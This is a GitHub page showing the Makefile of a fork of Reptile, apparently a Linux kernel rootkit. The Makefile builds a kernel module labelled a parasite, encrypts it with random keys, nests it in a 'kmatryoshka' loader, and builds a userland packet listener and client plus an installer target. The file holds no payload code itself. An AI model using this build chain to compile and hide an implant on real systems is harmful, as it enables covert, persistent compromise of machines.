forked from f0rb1dd3n/Reptile
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Makefile
67 lines (53 loc) · 1.81 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
CC := gcc
RM = rm -rf
SHELL := /bin/bash
PWD := $(shell pwd)
KERNEL := /lib/modules/$(shell uname -r)/build
CLIENT_DIR ?= $(PWD)/userland
CONFIG_SCRIPT ?= $(PWD)/scripts/kconfig/config.sh
CONFIG_FILE ?= $(PWD)/.config
GEN_RANDOM ?= $(PWD)/scripts/random.sh
BUILD_DIR ?= $(PWD)/output
BUILD_DIR_MAKEFILE ?= $(BUILD_DIR)/Makefile
MODULE_DIR ?= $(PWD)/kernel
ENCRYPT_SRC ?= $(PWD)/kernel/encrypt/encrypt.c
ENCRYPT ?= $(BUILD_DIR)/encrypt
KMATRYOSHKA_DIR ?= $(PWD)/kernel/kmatryoshka
PARASITE ?= $(BUILD_DIR)/reptile_module.ko
RAND1 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
RAND2 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"')
INCLUDE ?= -I$(PWD)/kernel/include
LOADER ?= $(PWD)/kernel/loader/loader.c
INSTALLER ?= $(PWD)/scripts/installer.sh
all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile
reptile: $(LOADER)
@ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc
@ echo " CC $(BUILD_DIR)/$@"
@ $(CC) $(INCLUDE) -I$(BUILD_DIR) $< -o $(BUILD_DIR)/$@
kmatryoshka:
@ $(ENCRYPT) $(PARASITE) $(RAND1) > $(BUILD_DIR)/parasite_blob.inc
@ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(KMATRYOSHKA_DIR)
module:
@ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(MODULE_DIR)
$(ENCRYPT): $(ENCRYPT_SRC)
@ echo " CC $(ENCRYPT)"
@ $(CC) $(INCLUDE) -std=c99 $< -o $@
$(BUILD_DIR):
@ mkdir -p $(BUILD_DIR)
$(BUILD_DIR_MAKEFILE): $(BUILD_DIR)
@ touch $@
config:
@ $(SHELL) $(CONFIG_SCRIPT) $@
@ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE)
%config:
@ $(SHELL) $(CONFIG_SCRIPT) $@
@ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE)
userland_bin:
@ $(MAKE) -C $(CLIENT_DIR) EXTRA_FLAGS=-D_REPTILE_
install:
@ $(SHELL) $(INSTALLER)
client: $(BUILD_DIR)
@ $(MAKE) -C $(CLIENT_DIR) packet listener client
.PHONY : clean module config
clean:
@ $(RM) $(BUILD_DIR) $(CONFIG_FILE)